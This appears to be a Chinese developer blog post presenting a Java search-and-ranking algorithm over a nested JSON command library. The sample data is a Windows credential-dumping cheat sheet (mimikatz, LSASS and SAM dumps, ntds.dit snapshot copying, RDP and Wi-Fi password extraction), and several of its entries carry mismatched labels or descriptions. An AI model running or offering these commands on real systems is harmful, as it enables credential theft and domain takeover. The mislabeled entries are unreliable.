基于多条件复杂查询的JSON指令搜索与排序算法设计
1、代码功能概述
这段代码的主要功能是对存储系统指令信息的JSON数据结构进行查询和处理。为了提高用户的搜索体验,代码支持了一些常见的高级搜索功能:
- 双引号精确匹配:双引号中的关键词必须精确匹配整个词组。
- 空格的OR 逻辑:允许多个关键词中的任意一个匹配。
- 开头/结尾匹配:支持用
^
和$
实现开头和结尾的匹配逻辑。 - 不区分大小写:关键词的匹配过程中忽略大小写。
- 递归搜索和排序:支持对多层嵌套的JSON对象和数组进行递归搜索,并按关键词匹配的数量对结果进行排序。
2、当前代码
以下是我目前实现的代码,它的核心包括几个主要步骤:
- 解析查询条件:将用户输入的搜索查询条件解析为包含精确匹配或模糊匹配的搜索词列表。
- 递归搜索JSON数据:遍历JSON数据,检查每个键值对是否符合查询条件,同时支持对嵌套的对象和数组进行递归处理,根据匹配到的关键词数量为对每个层级添加排序标签。
- 匹配和排序:根据排序标签进行排序,优先展示最相关的结果,并剔除分数标签以及无关节点。
{
"凭证获取": {
"mimikatz查看当前密码": {
"Windows": [
{
"command": "mimikatz \"log\" \"privilege:debug\" \"sekurlsa:logonpasswords\" \"exit\"",
"describe": "使用mimikatz获取当前登录会话的密码信息"
},
{
"command": "mimikatz.exe \"sekurlsa::minidump lsass.dmp\" \"log hash.txt\" \"sekurlsa::logonPasswords full\" \"exit\"",
"describe": "使用mimikatz抓取密码"
}
]
},
"mimikatz抓取domain密码": {
"Windows": [
{
"command": "mimikatz \"lsadump::dcsync /domain:test.com /all /csv\" \"exit\"",
"describe": "使用mimikatz从指定域抓取所有账户的密码哈希信息,并保存为CSV文件"
}
]
},
"reg导出注册表hash": {
"Windows": [
{
"command": "reg save hklm\\sam c:\\programdata\\sam.hive && reg save hklm\\system c:\\programdata\\system.hive",
"describe": "导出SAM和SYSTEM注册表文件到指定路径,以便后续分析"
}
]
},
"mimikatz读取注册表导出的hash信息": {
"Windows": [
{
"command": "mimikatz \"log\" \"lsadump::sam /sam:sam.hive /system:system.hive\" \"exit\"",
"describe": "使用mimikatz读取从注册表导出的SAM和SYSTEM文件中的密码哈希信息"
}
]
},
"impacket包的secretsdump": {
"Windows": [
{
"command": "DumpMinitool.exe --file dump.txt --processId 948 --dumpType Full",
"describe": "使用impacket的secretsdump工具从SAM和SYSTEM文件中提取密码哈希信息"
}
]
},
"具有微软签名的DumpMinitool.exe工具导出内存": {
"Windows": [
{
"command": "secretsdump.exe -sam sam.hive -system system.hive LOCAL",
"describe": "使用impacket的secretsdump工具从SAM和SYSTEM文件中提取密码哈希信息"
}
]
},
"procdump导出内存文件": {
"Windows": [
{
"command": "powershell -c \"rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump {pid} {output} full\"",
"describe": "利用PowerShell导出内存"
}
]
},
"PowerShell导出内存": {
"Windows": [
{
"command": "procdump.exe -accepteula -ma lsass.exe lsass.dmp",
"describe": "第一步:创建快照 产生的快照GUID为:{850bc5ab-7620-48fa-bd1f-c23c8150a3f0}"
}
]
},
"获取系统保存的RDP密码": {
"Windows": [
{
"command": "reg query \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /s",
"describe": "查询远程连接记录"
},
{
"command": "privilege::debug\ndpapi::cred /in:{凭证文件}\nsekurlsa::dpapi\ndpapi::cred /in:{凭证文件} /masterkey:{MasterKey}\nexit",
"describe": "解密出明文RDP连接密码, 使用mimikatz执行"
}
]
},
"获取系统保存的VPN密码": {
"Windows": [
{
"command": "mimikatz.exe \"privilege::debug\" \"token::elevate\" \"lsadump::secrets\" \"exit\"",
"describe": "使用mimikatz获取VPN密码"
}
]
},
"获取系统连接的WIFI密码": {
"Windows": [
{
"command": "for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear",
"describe": "获取系统连接的无线网WIFI密码"
}
]
},
"卷影拷贝获取域控凭证": {
"Windows": [
{
"command": "ntdsutil.exe snapshot \"activate instance ntds\" create quit quit",
"describe": "第一步:创建快照 产生的快照GUID为:{850bc5ab-7620-48fa-bd1f-c23c8150a3f0}"
},
{
"command": "ntdsutil.exe snapshot \"mount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}\" quit quit",
"describe": "第二步:加载快照 快照位置:C:\\$SNAP_202009222211_VOLUMEC$\\"
},
{
"command": "copy 'C:\\$SNAP_202009222211_VOLUMEC$\\Windows\\NTDS\\ntds.dit' C:\\ntds.dit",
"describe": "第三步:复制快照中的ntds.dit文件"
},
{
"command": "ntdsutil.exe snapshot \"List All\" quit quit\nntdsutil.exe snapshot \"umount {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}\" \"delete {850bc5ab-7620-48fa-bd1f-c23c8150a3f0}\" quit quit\nntdsutil.exe snapshot \"List All\" quit quit",
"describe": "第四步:删除快照"
}
]
}
},....
}
// 搜索方法,支持双引号、OR逻辑、开头/结尾匹配,不区分大小写,递归搜索和排序
public static JsonObject searchCommands(String query) {
// 分割查询条件
List<SearchTerm> searchTerms = parseQuery(query);
// 遍历JSON进行搜索,添加排序标记
JsonObject results = searchJson(jsonData, searchTerms);
// 递归处理JsonObject,进行排序、剔除无关元素、剔除排序标记符
results = processJsonObjectRecursively(results);
return results;
}
// 分析查询条件
private static List<SearchTerm> parseQuery(String query) {
List<SearchTerm> searchTerms = new ArrayList<>();
Matcher matcher = Pattern.compile("\"([^\"]+)\"|\\S+").matcher(query);
while (matcher.find()) {
String term = matcher.group();
boolean isExactMatch = false;
if (term.startsWith("\"") && term.endsWith("\"")) {
term = term.substring(1, term.length() - 1); // 去除双引号
isExactMatch = true; // 必须存在的关键词
}
searchTerms.add(new SearchTerm(term.toLowerCase(), isExactMatch));
}
return searchTerms;
}
private static JsonObject searchJson(JsonObject jsonObject, List<SearchTerm> searchTerms) {
JsonObject result = new JsonObject();
for (Map.Entry<String, JsonElement> entry : jsonObject.entrySet()) {
String key = entry.getKey().toLowerCase();
JsonElement value = entry.getValue();
int keyCount = matchesQuery(key, searchTerms);
JsonElement originalValue = new JsonObject();
// 递归搜索子对象
if (value.isJsonObject()) {
originalValue = searchJson(value.getAsJsonObject(), searchTerms);
} else if (value.isJsonArray()) {
// 处理数组中的command和describe字段
JsonArray matchedArray = new JsonArray();
value.getAsJsonArray().forEach(commandInfo -> {
JsonObject commandObj = commandInfo.getAsJsonObject();
String command = commandObj.get("command").getAsString().toLowerCase();
String describe = commandObj.get("describe").getAsString().toLowerCase();
String commandInfoStr = command + " " + describe;
// 合并匹配
int allMatchesKeyCount = matchesQuery(commandInfoStr, searchTerms);
// 对 command 和 describe 分别进行匹配(为兼容^以及$检索语法)
int commandMatchesKeyCount = matchesQuery(command, searchTerms);
int describeMatchesKeyCount = matchesQuery(describe, searchTerms);
int matchesKeyCount = Math.max(allMatchesKeyCount, Math.max(commandMatchesKeyCount, describeMatchesKeyCount));
JsonObject newValue = new JsonObject();
newValue.add("$$value$$", commandInfo);
newValue.addProperty("$$count$$", matchesKeyCount);
newValue.addProperty("$$valueMaxCount$$", matchesKeyCount);
matchedArray.add(newValue);
});
originalValue = matchedArray;
}
JsonObject newValue = new JsonObject();
newValue.add("$$value$$", originalValue);
newValue.addProperty("$$count$$", keyCount);
newValue.addProperty("$$valueMaxCount$$", findMaxCount(originalValue));
result.add(entry.getKey(), newValue);
}
return result;
}
private static int findMaxCount(JsonElement jsonElement) {
int maxCount = Integer.MIN_VALUE;
if (jsonElement.isJsonObject()) {
JsonObject jsonObject = jsonElement.getAsJsonObject();
for (String key : jsonObject.keySet()) {
JsonElement element = jsonObject.get(key);
if (element.isJsonObject() || element.isJsonArray()) {
maxCount = Math.max(maxCount, findMaxCount(element));
} else if (key.equals("$$count$$")) {
maxCount = Math.max(maxCount, element.getAsInt());
}
}
} else if (jsonElement.isJsonArray()) {
JsonArray jsonArray = jsonElement.getAsJsonArray();
for (JsonElement element : jsonArray) {
if (element.isJsonObject() || element.isJsonArray()) {
maxCount = Math.max(maxCount, findMaxCount(element));
}
}
}
return maxCount;
}
// 匹配查询条件,不区分大小写
private static int matchesQuery(String text, List<SearchTerm> searchTerms) {
int keywordMatchCount = 0;
for (SearchTerm term : searchTerms) {
if (term.isExactMatch) {
// 必须存在的关键词(支持开头和结尾匹配)
if (matchesExact(term.word, text)) {
keywordMatchCount++; // 匹配到必须存在的关键词,增加计数
} else {
return 0; // 如果某个必须匹配的关键词不存在,返回0
}
} else {
if (matchesExact(term.word, text)) {
keywordMatchCount++; // 匹配到非必须的关键词,增加计数
}
}
}
return keywordMatchCount;
}
// 支持^xxx和xxx$的开头/结尾匹配
private static boolean matchesExact(String term, String text) {
if (term.startsWith("^")) {
return text.startsWith(term.substring(1));
} else if (term.endsWith("$")) {
return text.endsWith(term.substring(0, term.length() - 1));
} else {
return text.contains(term); // 模糊匹配
}
}
// SearchTerm类,用于保存关键词和其匹配逻辑
private static class SearchTerm {
String word;
boolean isExactMatch;
SearchTerm(String word, boolean isExactMatch) {
this.word = word;
this.isExactMatch = isExactMatch;
}
}
// 进行排序、剔除无关元素、剔除排序标记符
private static JsonObject processJsonObjectRecursively(JsonObject jsonObject) {
// 创建一个键值对集合,用于存储原始的键值对
List<Map.Entry<String, JsonElement>> entryList = new ArrayList<>(jsonObject.entrySet());
// 根据 $$count$$ 值进行排序
entryList.sort((e1, e2) -> {
JsonObject obj1 = e1.getValue().isJsonObject() ? e1.getValue().getAsJsonObject() : null;
JsonObject obj2 = e2.getValue().isJsonObject() ? e2.getValue().getAsJsonObject() : null;
// 获取 $$count$$ 值
int count1 = obj1 != null && obj1.has("$$count$$") ? obj1.get("$$count$$").getAsInt() : 0;
int count2 = obj2 != null && obj2.has("$$count$$") ? obj2.get("$$count$$").getAsInt() : 0;
// 如果 $$count$$ 相等,继续比较 $$valueMaxCount$$
if (count1 == count2) {
int valueMaxCount1 = obj1 != null && obj1.has("$$valueMaxCount$$") ? obj1.get("$$valueMaxCount$$").getAsInt() : 0;
int valueMaxCount2 = obj2 != null && obj2.has("$$valueMaxCount$$") ? obj2.get("$$valueMaxCount$$").getAsInt() : 0;
return Integer.compare(valueMaxCount2, valueMaxCount1); // 按 $$valueMaxCount$$ 值降序排列
}
// 按降序排列
return Integer.compare(count2, count1);
});
// 创建一个新的 JsonObject 用于存放排序后的结果
JsonObject sortedJsonObject = new JsonObject();
for (Map.Entry<String, JsonElement> entry : entryList) {
String key = entry.getKey();
JsonElement value = entry.getValue();
JsonObject innerObject = value.getAsJsonObject();
// 并判断是否要移除节点
int count = innerObject.get("$$count$$").getAsInt();
int valueMaxCount = innerObject.get("$$valueMaxCount$$").getAsInt();
// 如果 $$count$$ 和 $$valueMaxCount$$ 都为 0,并且不是数组情况,跳过该节点
if (count == 0 && valueMaxCount == 0 && !innerObject.get("$$value$$").isJsonArray()) {
continue;
}
// 剔除排序标签,value=$$value$$
JsonElement innerValue = innerObject.get("$$value$$");
// 递归地处理嵌套的 JsonObject、JsonArray
if(innerValue == null) {
// value层级不存在key为$$value$$,直接递归value
sortedJsonObject.add(key, processJsonObjectRecursively(value.getAsJsonObject()));
}else {
// value层级存在key为$$value$$,递归$$value$$的值
if(innerValue.isJsonObject()) {
sortedJsonObject.add(key, processJsonObjectRecursively(innerValue.getAsJsonObject()));
}else if(innerValue.isJsonArray()){
JsonArray sortedArray = sortJsonArrayByCount(innerValue.getAsJsonArray());
sortedJsonObject.add(key, sortedArray);
}
}
}
return sortedJsonObject;
}
private static JsonArray sortJsonArrayByCount(JsonArray jsonArray) {
// 创建一个列表来存储 JsonArray 中的元素
List<JsonElement> elementList = new ArrayList<>();
jsonArray.forEach(elementList::add);
// 对 JsonArray 进行排序
elementList.sort((e1, e2) -> {
JsonObject obj1 = e1.isJsonObject() ? e1.getAsJsonObject() : null;
JsonObject obj2 = e2.isJsonObject() ? e2.getAsJsonObject() : null;
// 获取 $$count$$ 值
int count1 = obj1 != null && obj1.has("$$count$$") ? obj1.get("$$count$$").getAsInt() : 0;
int count2 = obj2 != null && obj2.has("$$count$$") ? obj2.get("$$count$$").getAsInt() : 0;
// 按 $$count$$ 值降序排列
return Integer.compare(count2, count1);
});
// 创建排序后的 JsonArray,剔除排序标签
JsonArray sortedArray = new JsonArray();
for (JsonElement element : elementList) {
if (element.isJsonObject()) {
JsonObject obj = element.getAsJsonObject();
sortedArray.add(obj.get("$$value$$"));
}
}
return sortedArray;
}
4、Over~
这段代码的初版实现虽然能够满足基本的功能需求,但其复杂的逻辑和递归操作可能会影响代码的可维护性和性能。如果你有任何优化建议,欢迎留言或联系我,感谢!